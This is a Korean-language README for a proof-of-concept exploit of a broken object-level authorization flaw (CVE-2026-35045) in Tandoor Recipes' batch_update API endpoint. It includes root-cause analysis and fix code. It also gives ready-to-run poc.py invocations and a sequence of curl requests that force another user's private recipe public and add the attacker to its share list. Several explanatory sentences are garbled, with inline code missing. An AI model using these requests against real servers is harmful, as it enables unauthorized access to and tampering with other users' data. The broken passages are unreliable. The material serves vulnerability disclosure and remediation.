
# CVE-2026-35045 개념 증명 익스플로잇 Tandoor Recipes의 객체 수준 권한 부여 취약점(개체 수준 인가 취약점)으로, batch_update API 엔드포인트를 통한 무단 레시피 수정을 시연합니다.
Tandoor Recipes v2.6.1의 PUT /api/recipe/batch_update/ 엔드포인트는 Space 내의 모든 인증된 사용자가 해당 Space의 모든 레시피를 수정할 수 있도록 허용합니다. 여기에는 다른 사용자가 소유한 비공개 레시피도 포함됩니다. 이는 모든 표준 단일 레시피 엔드포인트에 적용되는 객체 수준 권한 부여 검사를 완전히 우회합니다.
근본 원인은 Django REST Framework의 동작상의 공백입니다: 목록 액션은 을 절대 호출하지 않으며 만 호출합니다. 쿼리셋은 오직 로만 필터링되며 , 또는 목록에 대한 검사가 없습니다. 공격자는 비공개 레시피를 강제로 노출시키고, 지속적인 접근 권한을 스스로 부여하고, 다른 사용자의 권한을 박탈하고, 메타데이터를 변조할 수 있습니다. 이 모든 것이 빈 본문과 함께 를 반환하는 단일 API 호출로 가능합니다.
detail=Falsehas_object_permission()has_permission()space=request.spacecreated_byprivatesharedHTTP 200 OK| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — 사용자 제어 키를 통한 권한 부여 우회 |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 영향 버전 | Tandoor Recipes ≤ 2.6.1 |
| 공급업체 | TandoorRecipes/recipes |
detail=False가 객체 수준 권한 검사를 우회함파일: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← created_by 또는 private 검사 없음
)
Django REST Framework에서 detail=False로 등록된 액션은 목록 액션입니다. 이들은 get_object()를 절대 호출하지 않으므로 check_object_permissions()와 CustomRecipePermission.has_object_permission()이 절대 호출되지 않습니다. has_permission()만 실행되며, 이는 레시피 소유권이 아닌 Space 멤버십만 확인합니다.
PUT /api/recipe/{id}/는 전체 DRF 권한 흐름을 따릅니다:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ 레시피가 비공개이고 요청자와 공유되지 않았거나 요청자가 소유하지 않은 경우 접근 거부
batch_update 엔드포인트는 이 전체 체인을 조용히 건너뜁니다.
RecipeBatchUpdateSerializer는 다음 필드를 노출합니다 — Space 내의 모든 레시피에 대해 쓰기 가능:
| 필드 | 효과 |
|---|---|
private | 레시피 공개 여부 전환 |
shared_add / shared_remove / shared_set | 접근 제어 목록 조작 |
keywords_add / keywords_remove / keywords_set | 레시피 메타데이터 변경 |
working_time / waiting_time | 레시피 시간 데이터 수정 |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ 공격자 │ ─────────────────────────────────────→│ Tandoor 서버 │
│ (사용자 B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space 멤버) │
│ │
│ has_object_ │
│ permission() │
│ ✗ 절대 호출 안 됨│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← 소유권 검사 없음
│
▼
┌────────────────┐
│ 레시피 ID 2 │
│ (A 소유) │
│ private=false ← 패치됨
│ shared=[2] ← 자가 부여
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ 공격자 (B) │
│ 이제 레시피 ID 2│
│ 에 대한 전체 │
│ 접근 권한 보유 │
└────────────────┘
requests 라이브러리pip install requests
# 비공개 레시피 강제 노출 및 자가 접근 권한 부여 (기본값)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# 강제 노출만 수행 (private=false 설정)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# 자가 권한 부여만 수행 (shared 목록에 추가, private=true 유지)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| 액션 | 설명 |
|---|---|
expose | 대상 레시피에 private: false 설정 — 모든 Space 멤버에게 공개 강제 |
self_grant | 공격자의 사용자 ID를 shared_add에 추가 — 레시피가 비공개로 유지되어도 지속적인 접근 권한 부여 |
both | 단일 요청에서 두 액션 모두 실행 (기본값) |
1. 사전 조건 — 표준 엔드포인트로 레시피에 접근 불가
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 예상: 404 (비공개, 소유자 아님)
2. 익스플로잇 — 권한 검사 없는 batch_update
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# 예상: HTTP 200 OK — {}
3. 사후 조건 — 이제 레시피에 접근 가능
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 예상: HTTP 200, 레시피 데이터 포함, private=false
4. 레시피 목록으로 검증
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 예상: 2 <recipe_name> False
| 영향 영역 | 설명 | 심각도 |
|---|---|---|
| 강제 레시피 노출 | private: false 설정으로 모든 Space 멤버에게 레시피 공개 | 높음 |
| 무단 자가 권한 부여 | shared_add를 통해 자신의 사용자 ID를 추가하여 모든 레시피에 대한 지속적인 읽기/쓰기 접근 권한 부여 | 높음 |
| 접근 권한 박탈 | shared_remove 또는 shared_set을 사용하여 레시피 공유 목록에서 정당한 사용자 제거 | 높음 |
| 메타데이터 변조 | 다른 사용자가 소유한 레시피의 working_time, waiting_time, keywords 수정 | 중간 |
쿼리셋을 created_by=request.user로 필터링하여 배치 작업을 소유한 레시피로 제한합니다:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← 수정: 소유한 레시피로 제한
)
Space 관리자가 모든 레시피를 배치 업데이트할 수 있어야 하는 경우 역할 기반 조건을 추가합니다:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
개별 객체에 대해 작동하는 모든 detail=False 액션은 수동으로 객체 수준 권한 부여를 강제해야 합니다. DRF의 has_object_permission()은 목록 액션에 대해 절대 호출되지 않습니다 — 이 책임은 전적으로 개발자에게 있습니다.
이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
Filipe Gaudard — 공격적 보안 연구원 | eWPT | eWPTx